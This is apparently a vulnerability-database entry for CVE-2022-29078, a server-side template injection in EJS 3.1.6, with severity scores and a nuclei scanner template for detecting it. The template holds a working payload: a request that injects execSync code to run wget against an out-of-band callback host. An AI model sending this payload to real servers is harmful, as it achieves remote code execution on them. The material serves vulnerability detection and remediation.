Node.js Embedded JavaScript 3.1.6 - Template Injection

2022-07-1911:08:32

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.5 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.425 Medium

EPSS

Percentile

97.3%

JSON

Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.

id: CVE-2022-29078

info:
  name: Node.js Embedded JavaScript 3.1.6 - Template Injection
  author: For3stCo1d
  severity: critical
  description: |
    Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
  impact: |
    Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
  remediation: |
    Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
  reference:
    - https://eslam.io/posts/ejs-server-side-template-injection-rce/
    - https://github.com/miko550/CVE-2022-29078
    - https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29078
    - https://github.com/mde/ejs/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29078
    cwe-id: CWE-94
    epss-score: 0.34849
    epss-percentile: 0.97005
    cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js

http:
  - raw:
      - |
        GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http

      - type: word
        part: body
        words:
          - You are viewing page number
# digest: 4a0a0047304502203db3f45d8e15e58d60c2a0c268f52014feead1fa99568158768c91a2580e313b022100efb19def318800319766279d5e0fbf144650bf5b861b85f3f6bfa291878bd107:922c64590222798bb761d5b6d8e72950